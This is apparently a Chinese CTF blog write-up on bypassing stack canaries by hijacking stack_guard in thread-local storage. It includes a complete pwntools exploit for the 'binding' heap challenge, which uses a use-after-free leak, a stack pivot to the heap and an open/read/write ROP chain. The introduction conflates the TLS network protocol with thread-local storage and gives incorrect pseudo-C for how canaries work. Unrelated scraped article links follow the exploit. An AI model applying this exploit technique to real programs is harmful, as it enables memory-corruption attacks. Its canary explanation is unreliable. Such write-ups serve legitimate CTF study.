引入:什么是TLScanary?

TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍:TLS的基本概念(pwn canary中)

  • TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
  • 在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
  • 堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。

其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。

在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。

一个示例代码

void* thread_function(void* arg) {
// 每个线程有自己独立的 TLS 区域
__thread int thread_local_variable = 0; // 在函数入口处插入 canary 值
unsigned long canary_value = generate_random_canary(); // 检查 canary 值是否被修改
if (canary_value != expected_canary_value) {
terminate_program();
} // 线程的实际工作
// ... return NULL;
} int main() {
pthread_t threads[NUM_THREADS]; // 创建多个线程
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, thread_function, NULL);
} // 等待所有线程完成
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
} return 0;
}

struct pthread结构体

#include <stddef.h> // 为了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定义线程控制块头部结构体
// 可以根据实际情况进行定义
// 例如:线程 ID、状态信息等
int thread_id;
// 其他相关信息
} tcbhead_t; /* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能与 TLS 相关的头部信息
#else
struct {
// 更复杂的结构体定义
// 可能包含与 TLS 相关的更多详细信息
// ...
} header;
#endif /* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析:

typedef struct {
void *tcb; /* 指向线程控制块(TCB)的指针 */
dtv_t *dtv; /* 线程特定数据的指针 */
void *self; /* 指向线程描述符的指针 */
int multiple_threads; /* 标识是否有多个线程 */
int gscope_flag; /* 全局作用域标志 */
uintptr_t sysinfo; /* 系统信息 */
uintptr_t stack_guard;/* 堆栈保护 */
uintptr_t pointer_guard; /* 指针保护 */ /* 其他可能的字段... */
} tcbhead_t;

其中stack_guard里面放的就是单线程的canary,通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题,题目:binding

题目保护情况

64位ida载入

初看时是个堆题

add函数申请大小有限制,一次创建两个堆块,calloc申请堆块

edit函数,白给任意地址写一个字节(因为unsigned __int8类型指针占一个字节),有溢出不多,可以迁移

free函数,明显的UAF漏洞可以泄露地址

show函数

开了沙箱,只能orw

思路:1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上,执行rop链

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
io.sendlineafter('choice:','1')
io.sendlineafter('Idx:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content) def edit(index,content1,content2):
io.sendlineafter('choice:','2')
io.sendafter('Idx:',index)
io.sendafter('context1: ',content1)
io.sendafter('context2: ',content2) def show(rw,index):
io.sendlineafter('choice:','3')
io.sendlineafter('choice:',rw)
io.sendlineafter('Idx:',str(index)) def free(index):
io.sendlineafter('choice:','4')
io.sendlineafter('Idx:',str(index)) #gdb.attach(io)
for i in range(6):
add(i,0x100,'a') for i in range(1,5):
free(i) #gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base)) #gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause() pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret #gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base) orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00' add(6,0x120,orw_payload) payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8) io.interactive()

劫持TLS绕过canary && 堆和栈的灵活转换的更多相关文章

  1. 通过格式化字符串漏洞绕过canary

    1.1    canary内存保护机制 1.1.1    canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...

  2. binary hacks读数笔记(堆、栈 VMA的分布)

    一.首先看一个简单的程序: #include<stdlib.h> int main() { while(1) { sleep(1000); } return 0; } gcc -stati ...

  3. JVM学习(2)——技术文章里常说的堆,栈,堆栈到底是什么,从os的角度总结

    俗话说,自己写的代码,6个月后也是别人的代码……复习!复习!复习!涉及到的知识点总结如下: 堆栈是栈 JVM栈和本地方法栈划分 Java中的堆,栈和c/c++中的堆,栈 数据结构层面的堆,栈 os层面 ...

  4. java中内存分配策略及堆和栈的比较

    Java把内存分成两种,一种叫做栈内存,一种叫做堆内存 在函数中定义的一些基本类型的变量和对象的引用变量都是在函数的栈内存中分配.当在一段代码块中定义一个变量时,java就在栈中为这个变量分配内存空间 ...

  5. 译文---C#堆VS栈(Part One)

    前言 本文主要是讲解C#语言在内存中堆.栈的使用情况,使读者能更好的理解值类型.引用类型以及线程栈.托管堆. 首先感谢原文作者:Matthew Cochran 为我们带来了一篇非常好的文章,并配以大量 ...

  6. 在JS中关于堆与栈的认识function abc(a){ a=100; } function abc2(arr){ arr[0]=0; }

    平常我们的印象中堆与栈就是两种数据结构,栈就是先进后出:堆就是先进先出.下面我就常见的例子做分析: main.cpp int a = 0; 全局初始化区 char *p1; 全局未初始化区 main( ...

  7. C语言堆和栈

    堆和栈的区别 一个由C/C++编译的程序占用的内存分为以下几个部分1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈.2.堆区(heap ...

  8. JAVA中用堆和栈的概念来理解equals() "=="和hashcode()

    在学习java基本数据类型和复杂数据类型的时候,特别是equals()"=="和hashcode()部分时,不是很懂,也停留了很长时间,最后终于有点眉目了. 要理解equals() ...

  9. C/C++ 堆和栈的区别

    堆和栈的区别 一个由C/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其 操作方式类似于数据结构中的栈. 2.堆区(h ...

  10. Java堆、栈和常量池以及相关String的详细讲解(经典中的经典) (转)

    原文链接 : http://www.cnblogs.com/xiohao/p/4296088.html 一:在JAVA中,有六个不同的地方可以存储数据: 1. 寄存器(register). 这是最快的 ...

随机推荐

  1. 如何使用Mac远程控制Windows电脑?

    如何使用Mac远程控制Windows电脑?在你开始之前,设置您要远程处理的 Windows 计算机. 先安装 Microsoft Remote Desktop. 打开 Microsoft Remote ...

  2. Python语言:散修笔记

    文章目录 前言 转义字符的使用 原字符 变量的定义 类型转换 注释 接收用户信息 运算规则 整除运算 幂运算 比较运算符 布尔运算 运算优先级 对象的布尔值 if else elif分支结构 条件表达 ...

  3. MinIo对象存储文件上传,下载,预览,批量上传,创建桶等

    MinIo 操作工具类 MinIo 旧中文文档 MinIo 英文文档 MinIo 官网地址 https://min.io/ package com.ming.utils; import io.mini ...

  4. Android 12(S) MultiMedia Learning(六)NuPlayer Decoder

    接下来将会从4个角度来记录NuPlayerDecoder部分 相关代码路径: http://aospxref.com/android-12.0.0_r3/xref/frameworks/av/medi ...

  5. Flutter(九)Json序列化与反序列化(转Model)

    在日常开发中JSON的序列化与反序列化是一个常见的操作:而Dart语言不支持反射,运行时反射会影响Dart的tree shaking(摇树优化),tree shaking可以"抖掉" ...

  6. 恭喜PaddleOCRSharp开源项目通过PaddleOCR社区常规赛优秀项目首次评选

    PaddleOCR优秀社区项目推荐: PaddleOCR社区常规赛首次评选结果已于日前出炉,本次优秀项目推广为大家带来的是[部署篇]:️ PaddleOCR的.NET调用库:包含文本识别.文本检测.基 ...

  7. 为UIView自定义Xib

    一.需求 通过Interface Builder的形式创建Xib,并将其和一个UIView的子类绑定,如何实现? 二.解决 这个问题通过搜索,有大量的答案,大概答案的代码如下: 也就是在你的子类中,在 ...

  8. NOIP模拟89(多校22)

    T1 谜之阶乘 解题思路 二分答案,发现 \(a-b\) 至多为 19,毕竟 \(20!\) 已经大于 \(10^{18}\) 了. 对于每一种可能的差值,每一次二分 \(b+1\) 直接枚举乘积进行 ...

  9. Cygwin安装及简单说明

    1 简介 官方说明:Cygwin is a Linux-like environment for Windows. It consists of a DLL (cygwin1.dll), which ...

  10. 如何保留 Excel 表头和第一行数据并追加 CSV 数据

    准备工作 在开始之前,确保你的 Python 环境中已经安装了 openpyxl 和 pandas 库.可以使用以下命令进行安装: pip install openpyxl pandas 第一步:编写 ...